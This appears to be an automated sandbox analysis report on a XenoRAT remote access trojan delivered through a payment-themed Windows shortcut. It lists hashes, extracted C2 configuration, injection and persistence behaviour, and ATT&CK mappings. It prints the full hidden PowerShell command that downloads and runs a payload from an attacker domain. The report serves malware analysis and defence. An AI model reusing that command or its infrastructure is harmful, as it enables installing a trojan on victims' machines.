xenorat | 881ce6908e060231a797a1db1700ac66a2a58822cfcf8b932ff83a96833a8ceb

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 13:00

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General

Target

Dekontu/Odeme -(Mayis).lnk
Size

2KB
MD5

2ad899ef7b0d361186d8487950b7e167
SHA1

151d04d656e68152cc2116b0837331a7df30eb27
SHA256

2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618
SHA512

2a84054d0f22a042eb2390dba4831eea02700334531e09a3e4ce3b7ca0db71d12ea7d0de30b19280ac0fe746002f4fc96a4904832c81b3dac6647c4a9a50b39b

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif

Extracted

Family

xenorat

dns.requimacofradian.site

Mutex

Xeno_rat_nd8818g

Attributes

delay
60000
install_path
appdata
port
1243
startup_name
uic

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	3856	PoWeRShElL.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3856	PoWeRShElL.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	screenbiwus.pif

Executes dropped EXE 8 IoCs

pid	Process
1172	screenbiwus.pif
964	screenbiwus.pif
4292	screenbiwus.pif
4492	screenbiwus.pif
2572	screenbiwus.pif
3544	screenbiwus.pif
1588	screenbiwus.pif
2176	screenbiwus.pif

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1172 set thread context of 964	1172	screenbiwus.pif	92
PID 1172 set thread context of 4292	1172	screenbiwus.pif	93
PID 1172 set thread context of 4492	1172	screenbiwus.pif	94
PID 2572 set thread context of 3544	2572	screenbiwus.pif	98
PID 2572 set thread context of 1588	2572	screenbiwus.pif	99
PID 2572 set thread context of 2176	2572	screenbiwus.pif	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4596	3544	WerFault.exe	98

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4444	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings	PoWeRShElL.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3856	PoWeRShElL.exe
3856	PoWeRShElL.exe
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif
4292	screenbiwus.pif

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3856	PoWeRShElL.exe
Token: SeDebugPrivilege	1172	screenbiwus.pif
Token: SeDebugPrivilege	2572	screenbiwus.pif
Token: SeDebugPrivilege	4292	screenbiwus.pif

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2244	OpenWith.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 3856	4656	cmd.exe	86
PID 4656 wrote to memory of 3856	4656	cmd.exe	86
PID 3856 wrote to memory of 1172	3856	PoWeRShElL.exe	90
PID 3856 wrote to memory of 1172	3856	PoWeRShElL.exe	90
PID 3856 wrote to memory of 1172	3856	PoWeRShElL.exe	90
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 964	1172	screenbiwus.pif	92
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4292	1172	screenbiwus.pif	93
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 1172 wrote to memory of 4492	1172	screenbiwus.pif	94
PID 964 wrote to memory of 2572	964	screenbiwus.pif	97
PID 964 wrote to memory of 2572	964	screenbiwus.pif	97
PID 964 wrote to memory of 2572	964	screenbiwus.pif	97
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 3544	2572	screenbiwus.pif	98
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 1588	2572	screenbiwus.pif	99
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 2572 wrote to memory of 2176	2572	screenbiwus.pif	101
PID 4292 wrote to memory of 4444	4292	screenbiwus.pif	115
PID 4292 wrote to memory of 4444	4292	screenbiwus.pif	115
PID 4292 wrote to memory of 4444	4292	screenbiwus.pif	115

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Dekontu\Odeme -(Mayis).lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms-apr.dat;(new-object System.Net.WebClient).DownloadFile('https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif','screenbiwus.pif');./'screenbiwus.pif';(get-item 'screenbiwus.pif').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
    "C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:964
    - - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2572
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:3544
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 12
        7⤵
        Program crash
        
        PID:4596
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:1588
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:2176
  - - C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4292
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "uic" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2D74.tmp" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4444
  - - C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif
      4⤵
      Executes dropped EXE
      PID:4492

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3544 -ip 3544
1⤵
PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\screenbiwus.pif.log

Filesize
706B

MD5
d95c58e609838928f0f49837cab7dfd2

SHA1
55e7139a1e3899195b92ed8771d1ca2c7d53c916

SHA256
0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

SHA512
405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Dekontu\screenbiwus.pif

Filesize
243KB

MD5
f6839c83a19cfb9112997be29ba02a88

SHA1
b558ada6c8f1603b8c700a74afc33bfbb14ac713

SHA256
09d6f45a4cf61b2eaf9b715c712d6e61410a7d838b71e31fa4b12c012afb2d90

SHA512
0724132c9cbdd1394cc3e17d557c7c82b8e30b34b1adc207f7b77dc498b63e5c03768de88b261bd986cfe18ab8a70ff77c4dabc5b215d58a959287c7f38fdd8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23oycboi.rzs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2D74.tmp

Filesize
1KB

MD5
cd6994537023694f4533ff4244156d8a

SHA1
b581d11e2cad75bd5b7e440169f423cb18117a40

SHA256
b03bd499a8ab96f583f7029110764a3a08ecd976f4e2ec9e7b74c414d20c6707

SHA512
f9d3f71138a6af0d0435d3b66b7277a92696050dc3f3fdfb2842f02d8bf2a948342101da4747e74d003c23dd13799d4940496043fad866b9bc2045de54ea9cd0

Download Submit
memory/964-30-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1172-28-0x0000000005C00000-0x0000000005C92000-memory.dmp

Filesize
584KB

Download
memory/1172-23-0x0000000000E50000-0x0000000000E96000-memory.dmp

Filesize
280KB

Download
memory/1172-24-0x0000000007C60000-0x0000000007C66000-memory.dmp

Filesize
24KB

Download
memory/1172-25-0x00000000059E0000-0x0000000005A20000-memory.dmp

Filesize
256KB

Download
memory/1172-26-0x0000000005AC0000-0x0000000005B5C000-memory.dmp

Filesize
624KB

Download
memory/1172-27-0x0000000006110000-0x00000000066B4000-memory.dmp

Filesize
5.6MB

Download
memory/1172-29-0x0000000005AA0000-0x0000000005AA6000-memory.dmp

Filesize
24KB

Download
memory/3856-22-0x00007FFA95060000-0x00007FFA95B21000-memory.dmp

Filesize
10.8MB

Download
memory/3856-2-0x00007FFA95063000-0x00007FFA95065000-memory.dmp

Filesize
8KB

Download
memory/3856-14-0x00007FFA95060000-0x00007FFA95B21000-memory.dmp

Filesize
10.8MB

Download
memory/3856-13-0x00007FFA95060000-0x00007FFA95B21000-memory.dmp

Filesize
10.8MB

Download
memory/3856-12-0x000001D1778E0000-0x000001D177902000-memory.dmp

Filesize
136KB

Download
memory/4292-50-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download